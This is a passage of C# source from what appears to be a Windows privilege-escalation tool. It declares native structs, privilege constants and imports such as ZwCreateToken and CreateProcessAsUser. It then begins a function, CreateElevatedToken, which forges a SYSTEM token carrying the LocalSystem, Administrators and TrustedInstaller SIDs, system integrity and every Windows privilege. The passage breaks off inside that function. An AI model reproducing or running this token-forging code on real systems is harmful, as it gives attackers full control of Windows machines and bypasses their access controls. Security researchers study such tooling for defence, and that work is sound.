SystemFileCacheInformation = 0x15,
SystemPoolTagInformation = 0x16,
SystemInterruptInformation = 0x17,
SystemDpcBehaviorInformation = 0x18,
SystemFullMemoryInformation = 0x19,
SystemLoadGdiDriverInformation = 0x1A,
SystemUnloadGdiDriverInformation = 0x1B,
SystemTimeAdjustmentInformation = 0x1C,
SystemSummaryMemoryInformation = 0x1D,
SystemMirrorMemoryInformation = 0x1E,
SystemPerformanceTraceInformation = 0x1F,
SystemObsolete0 = 0x20,
SystemExceptionInformation = 0x21,
SystemCrashDumpStateInformation = 0x22,
SystemKernelDebuggerInformation = 0x23,
SystemContextSwitchInformation = 0x24,
SystemRegistryQuotaInformation = 0x25,
SystemExtendServiceTableInformation = 0x26,
SystemPrioritySeperation = 0x27,
SystemVerifierAddDriverInformation = 0x28,
SystemVerifierRemoveDriverInformation = 0x29,
SystemProcessorIdleInformation = 0x2A,
SystemLegacyDriverInformation = 0x2B,
SystemCurrentTimeZoneInformation = 0x2C,
SystemLookasideInformation = 0x2D,
SystemTimeSlipNotification = 0x2E,
SystemSessionCreate = 0x2F,
SystemSessionDetach = 0x30,
SystemSessionInformation = 0x31,
SystemRangeStartInformation = 0x32,
SystemVerifierInformation = 0x33,
SystemVerifierThunkExtend = 0x34,
SystemSessionProcessInformation = 0x35,
SystemLoadGdiDriverInSystemSpace = 0x36,
SystemNumaProcessorMap = 0x37,
SystemPrefetcherInformation = 0x38,
SystemExtendedProcessInformation = 0x39,
SystemRecommendedSharedDataAlignment = 0x3A,
SystemComPlusPackage = 0x3B,
SystemNumaAvailableMemory = 0x3C,
SystemProcessorPowerInformation = 0x3D,
SystemEmulationBasicInformation = 0x3E,
SystemEmulationProcessorInformation = 0x3F,
SystemExtendedHandleInformation = 0x40,
SystemLostDelayedWriteInformation = 0x41,
SystemBigPoolInformation = 0x42,
SystemSessionPoolTagInformation = 0x43,
SystemSessionMappedViewInformation = 0x44,
SystemHotpatchInformation = 0x45,
SystemObjectSecurityMode = 0x46,
SystemWatchdogTimerHandler = 0x47,
SystemWatchdogTimerInformation = 0x48,
SystemLogicalProcessorInformation = 0x49,
SystemWow64SharedInformationObsolete = 0x4A,
SystemRegisterFirmwareTableInformationHandler = 0x4B,
SystemFirmwareTableInformation = 0x4C,
SystemModuleInformationEx = 0x4D,
SystemVerifierTriageInformation = 0x4E,
SystemSuperfetchInformation = 0x4F,
SystemMemoryListInformation = 0x50,
SystemFileCacheInformationEx = 0x51,
SystemThreadPriorityClientIdInformation = 0x52,
SystemProcessorIdleCycleTimeInformation = 0x53,
SystemVerifierCancellationInformation = 0x54,
SystemProcessorPowerInformationEx = 0x55,
SystemRefTraceInformation = 0x56,
SystemSpecialPoolInformation = 0x57,
SystemProcessIdInformation = 0x58,
SystemErrorPortInformation = 0x59,
SystemBootEnvironmentInformation = 0x5A,
SystemHypervisorInformation = 0x5B,
SystemVerifierInformationEx = 0x5C,
SystemTimeZoneInformation = 0x5D,
SystemImageFileExecutionOptionsInformation = 0x5E,
SystemCoverageInformation = 0x5F,
SystemPrefetchPatchInformation = 0x60,
SystemVerifierFaultsInformation = 0x61,
SystemSystemPartitionInformation = 0x62,
SystemSystemDiskInformation = 0x63,
SystemProcessorPerformanceDistribution = 0x64,
SystemNumaProximityNodeInformation = 0x65,
SystemDynamicTimeZoneInformation = 0x66,
SystemCodeIntegrityInformation = 0x67,
SystemProcessorMicrocodeUpdateInformation = 0x68,
SystemProcessorBrandString = 0x69,
SystemVirtualAddressInformation = 0x6A,
SystemLogicalProcessorAndGroupInformation = 0x6B,
SystemProcessorCycleTimeInformation = 0x6C,
SystemStoreInformation = 0x6D,
SystemRegistryAppendString = 0x6E,
SystemAitSamplingValue = 0x6F,
SystemVhdBootInformation = 0x70,
SystemCpuQuotaInformation = 0x71,
SystemNativeBasicInformation = 0x72,
SystemErrorPortTimeouts = 0x73,
SystemLowPriorityIoInformation = 0x74,
SystemBootEntropyInformation = 0x75,
SystemVerifierCountersInformation = 0x76,
SystemPagedPoolInformationEx = 0x77,
SystemSystemPtesInformationEx = 0x78,
SystemNodeDistanceInformation = 0x79,
SystemAcpiAuditInformation = 0x7A,
SystemBasicPerformanceInformation = 0x7B,
SystemQueryPerformanceCounterInformation = 0x7C,
SystemSessionBigPoolInformation = 0x7D,
SystemBootGraphicsInformation = 0x7E,
SystemScrubPhysicalMemoryInformation = 0x7F,
SystemBadPageInformation = 0x80,
SystemProcessorProfileControlArea = 0x81,
SystemCombinePhysicalMemoryInformation = 0x82,
SystemEntropyInterruptTimingInformation = 0x83,
SystemConsoleInformation = 0x84,
SystemPlatformBinaryInformation = 0x85,
SystemPolicyInformation = 0x86,
SystemHypervisorProcessorCountInformation = 0x87,
SystemDeviceDataInformation = 0x88,
SystemDeviceDataEnumerationInformation = 0x89,
SystemMemoryTopologyInformation = 0x8A,
SystemMemoryChannelInformation = 0x8B,
SystemBootLogoInformation = 0x8C,
SystemProcessorPerformanceInformationEx = 0x8D,
SystemCriticalProcessErrorLogInformation = 0x8E,
SystemSecureBootPolicyInformation = 0x8F,
SystemPageFileInformationEx = 0x90,
SystemSecureBootInformation = 0x91,
SystemEntropyInterruptTimingRawInformation = 0x92,
SystemPortableWorkspaceEfiLauncherInformation = 0x93,
SystemFullProcessInformation = 0x94,
SystemKernelDebuggerInformationEx = 0x95,
SystemBootMetadataInformation = 0x96,
SystemSoftRebootInformation = 0x97,
SystemElamCertificateInformation = 0x98,
SystemOfflineDumpConfigInformation = 0x99,
SystemProcessorFeaturesInformation = 0x9A,
SystemRegistryReconciliationInformation = 0x9B,
SystemEdidInformation = 0x9C,
SystemManufacturingInformation = 0x9D,
SystemEnergyEstimationConfigInformation = 0x9E,
SystemHypervisorDetailInformation = 0x9F,
SystemProcessorCycleStatsInformation = 0xA0,
SystemVmGenerationCountInformation = 0xA1,
SystemTrustedPlatformModuleInformation = 0xA2,
SystemKernelDebuggerFlags = 0xA3,
SystemCodeIntegrityPolicyInformation = 0xA4,
SystemIsolatedUserModeInformation = 0xA5,
SystemHardwareSecurityTestInterfaceResultsInformation = 0xA6,
SystemSingleModuleInformation = 0xA7,
SystemAllowedCpuSetsInformation = 0xA8,
SystemDmaProtectionInformation = 0xA9,
SystemInterruptCpuSetsInformation = 0xAA,
SystemSecureBootPolicyFullInformation = 0xAB,
SystemCodeIntegrityPolicyFullInformation = 0xAC,
SystemAffinitizedInterruptProcessorInformation = 0xAD,
SystemRootSiloInformation = 0xAE,
SystemCpuSetInformation = 0xAF,
SystemCpuSetTagInformation = 0xB0,
SystemWin32WerStartCallout = 0xB1,
SystemSecureKernelProfileInformation = 0xB2,
SystemCodeIntegrityPlatformManifestInformation = 0xB3,
SystemInterruptSteeringInformation = 0xB4,
SystemSuppportedProcessorArchitectures = 0xB5,
SystemMemoryUsageInformation = 0xB6,
SystemCodeIntegrityCertificateInformation = 0xB7,
SystemPhysicalMemoryInformation = 0xB8,
SystemControlFlowTransition = 0xB9,
SystemKernelDebuggingAllowed = 0xBA,
SystemActivityModerationExeState = 0xBB,
SystemActivityModerationUserSettings = 0xBC,
SystemCodeIntegrityPoliciesFullInformation = 0xBD,
SystemCodeIntegrityUnlockInformation = 0xBE,
SystemIntegrityQuotaInformation = 0xBF,
SystemFlushInformation = 0xC0,
SystemProcessorIdleMaskInformation = 0xC1,
SystemSecureDumpEncryptionInformation = 0xC2,
SystemWriteConstraintInformation = 0xC3,
SystemKernelVaShadowInformation = 0xC4,
SystemHypervisorSharedPageInformation = 0xC5,
SystemFirmwareBootPerformanceInformation = 0xC6,
SystemCodeIntegrityVerificationInformation = 0xC7,
SystemFirmwarePartitionInformation = 0xC8,
SystemSpeculationControlInformation = 0xC9,
SystemDmaGuardPolicyInformation = 0xCA,
SystemEnclaveLaunchControlInformation = 0xCB,
SystemWorkloadAllowedCpuSetsInformation = 0xCC,
SystemCodeIntegrityUnlockModeInformation = 0xCD,
SystemLeapSecondInformation = 0xCE,
SystemFlags2Information = 0xCF,
SystemSecurityModelInformation = 0xD0,
SystemCodeIntegritySyntheticCacheInformation = 0xD1,
MaxSystemInfoClass = 0xD2
}
[Flags]
enum TokenAccessFlags : uint
{
TOKEN_ADJUST_DEFAULT = 0x0080,
TOKEN_ADJUST_GROUPS = 0x0040,
TOKEN_ADJUST_PRIVILEGES = 0x0020,
TOKEN_ADJUST_SESSIONID = 0x0100,
TOKEN_ASSIGN_PRIMARY = 0x0001,
TOKEN_DUPLICATE = 0x0002,
TOKEN_EXECUTE = 0x00020000,
TOKEN_IMPERSONATE = 0x0004,
TOKEN_QUERY = 0x0008,
TOKEN_QUERY_SOURCE = 0x0010,
TOKEN_READ = 0x00020008,
TOKEN_WRITE = 0x000200E0,
TOKEN_ALL_ACCESS = 0x000F01FF,
MAXIMUM_ALLOWED = 0x02000000
}
enum TOKEN_INFORMATION_CLASS
{
TokenUser = 1,
TokenGroups,
TokenPrivileges,
TokenOwner,
TokenPrimaryGroup,
TokenDefaultDacl,
TokenSource,
TokenType,
TokenImpersonationLevel,
TokenStatistics,
TokenRestrictedSids,
TokenSessionId,
TokenGroupsAndPrivileges,
TokenSessionReference,
TokenSandBoxInert,
TokenAuditPolicy,
TokenOrigin,
TokenElevationType,
TokenLinkedToken,
TokenElevation,
TokenHasRestrictions,
TokenAccessInformation,
TokenVirtualizationAllowed,
TokenVirtualizationEnabled,
TokenIntegrityLevel,
TokenUIAccess,
TokenMandatoryPolicy,
TokenLogonSid,
MaxTokenInfoClass
}
enum TOKEN_TYPE
{
TokenPrimary = 1,
TokenImpersonation
}
// Windows Struct
[StructLayout(LayoutKind.Explicit, Size = 8)]
struct LARGE_INTEGER
{
[FieldOffset(0)]
public int Low;
[FieldOffset(4)]
public int High;
[FieldOffset(0)]
public long QuadPart;
public LARGE_INTEGER(int _low, int _high)
{
QuadPart = 0L;
Low = _low;
High = _high;
}
public LARGE_INTEGER(long _quad)
{
Low = 0;
High = 0;
QuadPart = _quad;
}
public long ToInt64()
{
return ((long)this.High << 32) | (uint)this.Low;
}
public static LARGE_INTEGER FromInt64(long value)
{
return new LARGE_INTEGER
{
Low = (int)(value),
High = (int)((value >> 32))
};
}
}
[StructLayout(LayoutKind.Sequential)]
struct LUID
{
public uint LowPart;
public uint HighPart;
public LUID(uint _lowPart, uint _highPart)
{
LowPart = _lowPart;
HighPart = _highPart;
}
}
[StructLayout(LayoutKind.Sequential, Pack = 4)]
struct LUID_AND_ATTRIBUTES
{
public LUID Luid;
public uint Attributes;
}
[StructLayout(LayoutKind.Sequential)]
struct OBJECT_ATTRIBUTES : IDisposable
{
public int Length;
public IntPtr RootDirectory;
private IntPtr objectName;
public uint Attributes;
public IntPtr SecurityDescriptor;
public IntPtr SecurityQualityOfService;
public OBJECT_ATTRIBUTES(string name, uint attrs)
{
Length = 0;
RootDirectory = IntPtr.Zero;
objectName = IntPtr.Zero;
Attributes = attrs;
SecurityDescriptor = IntPtr.Zero;
SecurityQualityOfService = IntPtr.Zero;
Length = Marshal.SizeOf(this);
ObjectName = new UNICODE_STRING(name);
}
public UNICODE_STRING ObjectName
{
get
{
return (UNICODE_STRING)Marshal.PtrToStructure(
objectName, typeof(UNICODE_STRING));
}
set
{
bool fDeleteOld = objectName != IntPtr.Zero;
if (!fDeleteOld)
objectName = Marshal.AllocHGlobal(Marshal.SizeOf(value));
Marshal.StructureToPtr(value, objectName, fDeleteOld);
}
}
public void Dispose()
{
if (objectName != IntPtr.Zero)
{
Marshal.DestroyStructure(objectName, typeof(UNICODE_STRING));
Marshal.FreeHGlobal(objectName);
objectName = IntPtr.Zero;
}
}
}
[StructLayout(LayoutKind.Sequential)]
struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
struct SECURITY_QUALITY_OF_SERVICE
{
readonly int Length;
readonly SECURITY_IMPERSONATION_LEVEL ImpersonationLevel;
readonly byte ContextTrackingMode;
readonly byte EffectiveOnly;
public SECURITY_QUALITY_OF_SERVICE(
SECURITY_IMPERSONATION_LEVEL _impersonationLevel,
byte _contextTrackingMode,
byte _effectiveOnly)
{
Length = 0;
ImpersonationLevel = _impersonationLevel;
ContextTrackingMode = _contextTrackingMode;
EffectiveOnly = _effectiveOnly;
Length = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
struct SID_AND_ATTRIBUTES
{
public IntPtr Sid; // PSID
public uint Attributes;
}
[StructLayout(LayoutKind.Sequential)]
struct SID_IDENTIFIER_AUTHORITY
{
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 6)]
public byte[] Value;
public SID_IDENTIFIER_AUTHORITY(byte[] value)
{
Value = value;
}
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
struct STARTUPINFO
{
public int cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public int dwX;
public int dwY;
public int dwXSize;
public int dwYSize;
public int dwXCountChars;
public int dwYCountChars;
public int dwFillAttribute;
public int dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
struct SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX
{
public IntPtr Object;
public IntPtr UniqueProcessId;
public IntPtr HandleValue;
public int GrantedAccess;
public short CreatorBackTraceIndex;
public short ObjectTypeIndex;
public int HandleAttributes;
public int Reserved;
}
[StructLayout(LayoutKind.Sequential)]
struct TOKEN_DEFAULT_DACL
{
public IntPtr DefaultDacl; // PACL
}
[StructLayout(LayoutKind.Sequential)]
struct TOKEN_GROUPS
{
public int GroupCount;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 32)]
public SID_AND_ATTRIBUTES[] Groups;
public TOKEN_GROUPS(int privilegeCount)
{
GroupCount = privilegeCount;
Groups = new SID_AND_ATTRIBUTES[32];
}
};
[StructLayout(LayoutKind.Sequential)]
struct TOKEN_PRIVILEGES
{
public int PrivilegeCount;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 36)]
public LUID_AND_ATTRIBUTES[] Privileges;
public TOKEN_PRIVILEGES(int privilegeCount)
{
PrivilegeCount = privilegeCount;
Privileges = new LUID_AND_ATTRIBUTES[36];
}
}
[StructLayout(LayoutKind.Sequential)]
struct TOKEN_OWNER
{
public IntPtr Owner; // PSID
public TOKEN_OWNER(IntPtr _owner)
{
Owner = _owner;
}
}
[StructLayout(LayoutKind.Sequential)]
struct TOKEN_PRIMARY_GROUP
{
public IntPtr PrimaryGroup; // PSID
public TOKEN_PRIMARY_GROUP(IntPtr _sid)
{
PrimaryGroup = _sid;
}
}
[StructLayout(LayoutKind.Sequential)]
struct TOKEN_SOURCE
{
public TOKEN_SOURCE(string name)
{
SourceName = new byte[8];
Encoding.GetEncoding(1252).GetBytes(name, 0, name.Length, SourceName, 0);
if (!AllocateLocallyUniqueId(out SourceIdentifier))
throw new System.ComponentModel.Win32Exception();
}
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
public byte[] SourceName;
public LUID SourceIdentifier;
}
[StructLayout(LayoutKind.Sequential)]
struct TOKEN_USER
{
public SID_AND_ATTRIBUTES User;
public TOKEN_USER(IntPtr _sid)
{
User = new SID_AND_ATTRIBUTES
{
Sid = _sid,
Attributes = 0
};
}
}
[StructLayout(LayoutKind.Sequential)]
struct UNICODE_STRING : IDisposable
{
public ushort Length;
public ushort MaximumLength;
private IntPtr buffer;
public UNICODE_STRING(string s)
{
Length = (ushort)(s.Length * 2);
MaximumLength = (ushort)(Length + 2);
buffer = Marshal.StringToHGlobalUni(s);
}
public void Dispose()
{
Marshal.FreeHGlobal(buffer);
buffer = IntPtr.Zero;
}
public override string ToString()
{
return Marshal.PtrToStringUni(buffer);
}
}
// Windows API
/*
* advapi32.dll
*/
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
static extern bool AllocateLocallyUniqueId(out LUID Luid);
[DllImport("advapi32", CharSet = CharSet.Auto, SetLastError = true)]
static extern bool ConvertSidToStringSid(IntPtr pSid, out string strSid);
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
static extern bool ConvertStringSidToSid(string StringSid, out IntPtr pSid);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
static extern bool CreateProcessAsUser(
IntPtr hToken,
string lpApplicationName,
string lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
ProcessCreationFlags dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool GetTokenInformation(
IntPtr TokenHandle,
TOKEN_INFORMATION_CLASS TokenInformationClass,
IntPtr TokenInformation,
int TokenInformationLength,
out int ReturnLength);
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool ImpersonateLoggedOnUser(IntPtr hToken);
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool LookupPrivilegeValue(
string lpSystemName,
string lpName,
out LUID lpLuid);
/*
* kernel32.dll
*/
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
static extern IntPtr CreateFile(
string lpFileName,
FileAccess dwDesiredAccess,
FileShare dwShareMode,
IntPtr lpSecurityAttributes,
FileMode dwCreationDisposition,
FileAttributes dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool DeviceIoControl(
IntPtr hDevice,
uint dwIoControlCode,
IntPtr InBuffer,
int nInBufferSize,
IntPtr OutBuffer,
int nOutBufferSize,
IntPtr pBytesReturned,
IntPtr lpOverlapped);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
static extern uint FormatMessage(
FormatMessageFlags dwFlags,
IntPtr lpSource,
int dwMessageId,
int dwLanguageId,
StringBuilder lpBuffer,
int nSize,
IntPtr Arguments);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool FreeLibrary(IntPtr hLibModule);
[DllImport("kernel32.dll", SetLastError = true)]
static extern int GetCurrentThreadId();
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
static extern IntPtr LoadLibrary(string lpFileName);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr LocalFree(IntPtr hMem);
[DllImport("kernel32.dll", SetLastError = true)]
static extern uint WaitForSingleObject(
IntPtr hHandle,
uint dwMilliseconds);
/*
* ntdll.dll
*/
[DllImport("ntdll.dll", SetLastError = true)]
static extern uint NtQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
IntPtr SystemInformation,
int SystemInformationLength,
ref int ReturnLength);
[DllImport("ntdll.dll")]
static extern uint ZwCreateToken(
out IntPtr TokenHandle,
TokenAccessFlags DesiredAccess,
ref OBJECT_ATTRIBUTES ObjectAttributes,
TOKEN_TYPE TokenType,
ref LUID AuthenticationId,
ref LARGE_INTEGER ExpirationTime,
ref TOKEN_USER TokenUser,
ref TOKEN_GROUPS TokenGroups,
ref TOKEN_PRIVILEGES TokenPrivileges,
ref TOKEN_OWNER TokenOwner,
ref TOKEN_PRIMARY_GROUP TokenPrimaryGroup,
ref TOKEN_DEFAULT_DACL TokenDefaultDacl,
ref TOKEN_SOURCE TokenSource);
// Windows Consts
const uint STATUS_SUCCESS = 0;
const uint STATUS_INFO_LENGTH_MISMATCH = 0xC0000004;
const int ERROR_BAD_LENGTH = 0x00000018;
const int ERROR_INSUFFICIENT_BUFFER = 0x0000007A;
static readonly IntPtr INVALID_HANDLE_VALUE = new IntPtr(-1);
const string DOMAIN_ALIAS_RID_ADMINS = "S-1-5-32-544";
const string TRUSTED_INSTALLER_RID = "S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464";
const string UNTRUSTED_MANDATORY_LEVEL = "S-1-16-0";
const string LOW_MANDATORY_LEVEL = "S-1-16-4096";
const string MEDIUM_MANDATORY_LEVEL = "S-1-16-8192";
const string MEDIUM_PLUS_MANDATORY_LEVEL = "S-1-16-8448";
const string HIGH_MANDATORY_LEVEL = "S-1-16-12288";
const string SYSTEM_MANDATORY_LEVEL = "S-1-16-16384";
const string LOCAL_SYSTEM_RID = "S-1-5-18";
const string SE_CREATE_TOKEN_NAME = "SeCreateTokenPrivilege";
const string SE_ASSIGNPRIMARYTOKEN_NAME = "SeAssignPrimaryTokenPrivilege";
const string SE_LOCK_MEMORY_NAME = "SeLockMemoryPrivilege";
const string SE_INCREASE_QUOTA_NAME = "SeIncreaseQuotaPrivilege";
const string SE_MACHINE_ACCOUNT_NAME = "SeMachineAccountPrivilege";
const string SE_TCB_NAME = "SeTcbPrivilege";
const string SE_SECURITY_NAME = "SeSecurityPrivilege";
const string SE_TAKE_OWNERSHIP_NAME = "SeTakeOwnershipPrivilege";
const string SE_LOAD_DRIVER_NAME = "SeLoadDriverPrivilege";
const string SE_SYSTEM_PROFILE_NAME = "SeSystemProfilePrivilege";
const string SE_SYSTEMTIME_NAME = "SeSystemtimePrivilege";
const string SE_PROFILE_SINGLE_PROCESS_NAME = "SeProfileSingleProcessPrivilege";
const string SE_INCREASE_BASE_PRIORITY_NAME = "SeIncreaseBasePriorityPrivilege";
const string SE_CREATE_PAGEFILE_NAME = "SeCreatePagefilePrivilege";
const string SE_CREATE_PERMANENT_NAME = "SeCreatePermanentPrivilege";
const string SE_BACKUP_NAME = "SeBackupPrivilege";
const string SE_RESTORE_NAME = "SeRestorePrivilege";
const string SE_SHUTDOWN_NAME = "SeShutdownPrivilege";
const string SE_DEBUG_NAME = "SeDebugPrivilege";
const string SE_AUDIT_NAME = "SeAuditPrivilege";
const string SE_SYSTEM_ENVIRONMENT_NAME = "SeSystemEnvironmentPrivilege";
const string SE_CHANGE_NOTIFY_NAME = "SeChangeNotifyPrivilege";
const string SE_REMOTE_SHUTDOWN_NAME = "SeRemoteShutdownPrivilege";
const string SE_UNDOCK_NAME = "SeUndockPrivilege";
const string SE_SYNC_AGENT_NAME = "SeSyncAgentPrivilege";
const string SE_ENABLE_DELEGATION_NAME = "SeEnableDelegationPrivilege";
const string SE_MANAGE_VOLUME_NAME = "SeManageVolumePrivilege";
const string SE_IMPERSONATE_NAME = "SeImpersonatePrivilege";
const string SE_CREATE_GLOBAL_NAME = "SeCreateGlobalPrivilege";
const string SE_TRUSTED_CREDMAN_ACCESS_NAME = "SeTrustedCredManAccessPrivilege";
const string SE_RELABEL_NAME = "SeRelabelPrivilege";
const string SE_INCREASE_WORKING_SET_NAME = "SeIncreaseWorkingSetPrivilege";
const string SE_TIME_ZONE_NAME = "SeTimeZonePrivilege";
const string SE_CREATE_SYMBOLIC_LINK_NAME = "SeCreateSymbolicLinkPrivilege";
const string SE_DELEGATE_SESSION_USER_IMPERSONATE_NAME = "SeDelegateSessionUserImpersonatePrivilege";
const byte SECURITY_STATIC_TRACKING = 0;
static readonly LUID SYSTEM_LUID = new LUID(0x3e7, 0);
// User define Consts
[Flags]
enum SepTokenPrivilegesFlags : ulong
{
CREATE_TOKEN = 0x0000000000000004UL, // SeCreateTokenPrivilege
ASSIGNPRIMARYTOKEN = 0x0000000000000008UL, // SeAssignPrimaryTokenPrivilege
LOCK_MEMORY = 0x0000000000000010UL, // SeLockMemoryPrivilege
INCREASE_QUOTA = 0x0000000000000020UL, // SeIncreaseQuotaPrivilege
MACHINE_ACCOUNT = 0x0000000000000040UL, // SeMachineAccountPrivilege
TCB = 0x0000000000000080UL, // SeTcbPrivilege
SECURITY = 0x0000000000000100UL, // SeSecurityPrivilege
TAKE_OWNERSHIP = 0x0000000000000200UL, // SeTakeOwnershipPrivilege
LOAD_DRIVER = 0x0000000000000400UL, // SeLoadDriverPrivilege
SYSTEM_PROFILE = 0x0000000000000800UL, // SeSystemProfilePrivilege
SYSTEMTIME = 0x0000000000001000UL, // SeSystemtimePrivilege
PROFILE_SINGLE_PROCESS = 0x0000000000002000UL, // SeProfileSingleProcessPrivilege
INCREASE_BASE_PRIORITY = 0x0000000000004000UL, // SeIncreaseBasePriorityPrivilege
CREATE_PAGEFILE = 0x0000000000008000UL, // SeCreatePagefilePrivilege
CREATE_PERMANENT = 0x0000000000010000UL, // SeCreatePermanentPrivilege
BACKUP = 0x0000000000020000UL, // SeBackupPrivilege
RESTORE = 0x0000000000040000UL, // SeRestorePrivilege
SHUTDOWN = 0x0000000000080000UL, // SeShutdownPrivilege
DEBUG = 0x0000000000100000UL, // SeDebugPrivilege
AUDIT = 0x0000000000200000UL, // SeAuditPrivilege
SYSTEM_ENVIRONMENT = 0x0000000000400000UL, // SeSystemEnvironmentPrivilege
CHANGE_NOTIFY = 0x0000000000800000UL, // SeChangeNotifyPrivilege
REMOTE_SHUTDOWN = 0x0000000001000000UL, // SeRemoteShutdownPrivilege
UNDOCK = 0x0000000002000000UL, // SeUndockPrivilege
SYNC_AGENT = 0x0000000004000000UL, // SeSyncAgentPrivilege
ENABLE_DELEGATION = 0x0000000008000000UL, // SeEnableDelegationPrivilege
MANAGE_VOLUME = 0x0000000010000000UL, // SeManageVolumePrivilege
IMPERSONATE = 0x0000000020000000UL, // SeImpersonatePrivilege
CREATE_GLOBAL = 0x0000000040000000UL, // SeCreateGlobalPrivilege
TRUSTED_CREDMAN_ACCESS = 0x0000000080000000UL, // SeTrustedCredManAccessPrivilege
RELABEL = 0x0000000100000000UL, // SeRelabelPrivilege
INCREASE_WORKING_SET = 0x0000000200000000UL, // SeIncreaseWorkingSetPrivilege
TIME_ZONE = 0x0000000400000000UL, // SeTimeZonePrivilege
CREATE_SYMBOLIC_LINK = 0x0000000800000000UL, // SeCreateSymbolicLinkPrivilege
DELEGATE_SESSION_USER_IMPERSONATE = 0x0000001000000000UL, // SeDelegateSessionUserImpersonatePrivilege
ALL = 0x0000001FFFFFFFFCUL
}
// User define functions
static IntPtr CreateElevatedToken(
TOKEN_TYPE tokenType,
SECURITY_IMPERSONATION_LEVEL impersonationLevel)
{
int error;
LUID authId = SYSTEM_LUID;
var tokenSource = new TOKEN_SOURCE("*SYSTEM*");
tokenSource.SourceIdentifier.HighPart = 0;
tokenSource.SourceIdentifier.LowPart = 0;
var privs = new string[] {
SE_CREATE_TOKEN_NAME,
SE_ASSIGNPRIMARYTOKEN_NAME,
SE_LOCK_MEMORY_NAME,
SE_INCREASE_QUOTA_NAME,
SE_MACHINE_ACCOUNT_NAME,
SE_TCB_NAME,
SE_SECURITY_NAME,
SE_TAKE_OWNERSHIP_NAME,
SE_LOAD_DRIVER_NAME,
SE_SYSTEM_PROFILE_NAME,
SE_SYSTEMTIME_NAME,
SE_PROFILE_SINGLE_PROCESS_NAME,
SE_INCREASE_BASE_PRIORITY_NAME,
SE_CREATE_PAGEFILE_NAME,
SE_CREATE_PERMANENT_NAME,
SE_BACKUP_NAME,
SE_RESTORE_NAME,
SE_SHUTDOWN_NAME,
SE_DEBUG_NAME,
SE_AUDIT_NAME,
SE_SYSTEM_ENVIRONMENT_NAME,
SE_CHANGE_NOTIFY_NAME,
SE_REMOTE_SHUTDOWN_NAME,
SE_UNDOCK_NAME,
SE_SYNC_AGENT_NAME,
SE_ENABLE_DELEGATION_NAME,
SE_MANAGE_VOLUME_NAME,
SE_IMPERSONATE_NAME,
SE_CREATE_GLOBAL_NAME,
SE_TRUSTED_CREDMAN_ACCESS_NAME,
SE_RELABEL_NAME,
SE_INCREASE_WORKING_SET_NAME,
SE_TIME_ZONE_NAME,
SE_CREATE_SYMBOLIC_LINK_NAME,
SE_DELEGATE_SESSION_USER_IMPERSONATE_NAME
};
Console.WriteLine("[>] Trying to create an elevated {0} token.",
tokenType == TOKEN_TYPE.TokenPrimary ? "primary" : "impersonation");
if (!ConvertStringSidToSid(
DOMAIN_ALIAS_RID_ADMINS,
out IntPtr pAdministrators))
{
error = Marshal.GetLastWin32Error();
Console.WriteLine("[-] Failed to get SID for Administrators.");
Console.WriteLine(" |-> {0}\n", GetWin32ErrorMessage(error, false));
return IntPtr.Zero;
}
if (!ConvertStringSidToSid(
LOCAL_SYSTEM_RID,
out IntPtr pLocalSystem))
{
error = Marshal.GetLastWin32Error();
Console.WriteLine("[-] Failed to get SID for LocalSystem.");
Console.WriteLine(" |-> {0}\n", GetWin32ErrorMessage(error, false));
return IntPtr.Zero;
}
if (!ConvertStringSidToSid(
SYSTEM_MANDATORY_LEVEL,
out IntPtr pSystemIntegrity))
{
error = Marshal.GetLastWin32Error();
Console.WriteLine("[-] Failed to get SID for LocalSystem.");
Console.WriteLine(" |-> {0}\n", GetWin32ErrorMessage(error, false));
return IntPtr.Zero;
}
if (!ConvertStringSidToSid(
TRUSTED_INSTALLER_RID,
out IntPtr pTrustedInstaller))
{
error = Marshal.GetLastWin32Error();
Console.WriteLine("[-] Failed to get SID for TrustedInstaller.");
Console.WriteLine(" |-> {0}\n", GetWin32ErrorMessage(error, false));
return IntPtr.Zero;
}
if (!CreateTokenPrivileges(
privs,
out TOKEN_PRIVILEGES tokenPrivileges))
{
return IntPtr.Zero;
}
IntPtr hCurrentToken = WindowsIdentity.GetCurrent().Token;
IntPtr pTokenGroups = GetInformationFromToken(
hCurrentToken,
TOKEN_INFORMATION_CLASS.TokenGroups);
IntPtr pTokenDefaultDacl = GetInformationFromToken(
hCurrentToken,
TOKEN_INFORMATION_CLASS.TokenDefaultDacl);
if (pTokenDefaultDacl == IntPtr.Zero)
{
Console.WriteLine("[-] Failed to get current token information.");
return IntPtr.Zero;
}
var tokenUser = new TOKEN_USER(pLocalSystem);
